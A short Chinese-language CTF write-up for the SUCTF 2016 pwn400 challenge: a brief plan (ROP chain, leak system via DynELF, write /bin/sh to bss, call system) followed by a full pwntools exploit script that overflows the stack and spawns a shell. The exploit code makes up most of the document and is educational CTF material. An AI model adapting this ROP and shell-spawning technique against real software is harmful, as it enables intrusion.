SUCTF-2016-pwn400-writeup

SUCTF-2016-pwn400-writeup

IDA看，程序流程简单，有明显栈溢出漏洞。

无libc，无canary等保护。基本的思路如下：

• 构造ROP链
• 泄露system地址
• 往bss段写入/bin/sh
• 调用system

最后的exp如下：

from pwn import *

p = process("./simple")
elf = ELF("./simple")

offset = 40
pop_rdi_ret_addr = 0x00000000004006c3
pop_rsi_pop_r15_ret = 0x00000000004006c1
start_addr = elf.symbols['_start']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
bss_addr = elf.bss() + 0x18

def leak(address):
	log.info("leak address => {}".format(hex(address)))
	p.recvuntil('luck!\n')
	payload = 'a' * offset
	payload += p64(pop_rdi_ret_addr)
	payload += p64(1)
	payload += p64(pop_rsi_pop_r15_ret)
	payload += p64(address)
	payload += p64(1)
	payload += p64(write_plt)
	payload += p64(main_addr)
	p.sendline(payload)
	address = p.recv(8)
	return address
d = DynELF(leak,elf = elf)

system_addr = d.lookup('system','libc')
log.success("system address => {}".format(hex(system_addr)))

payload = 'a' * offset
payload += p64(start_addr)
p.sendline(payload)
p.recvuntil('luck!\n')

payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(0)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(bss_addr)
payload += p64(1)
payload += p64(read_plt)
payload += p64(main_addr)
p.sendline(payload)

payload = '/bin/sh\x00'
p.send(payload)
p.recvuntil('luck!\n')

payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(bss_addr)
payload += p64(system_addr)
p.sendline(payload)

p.interactive()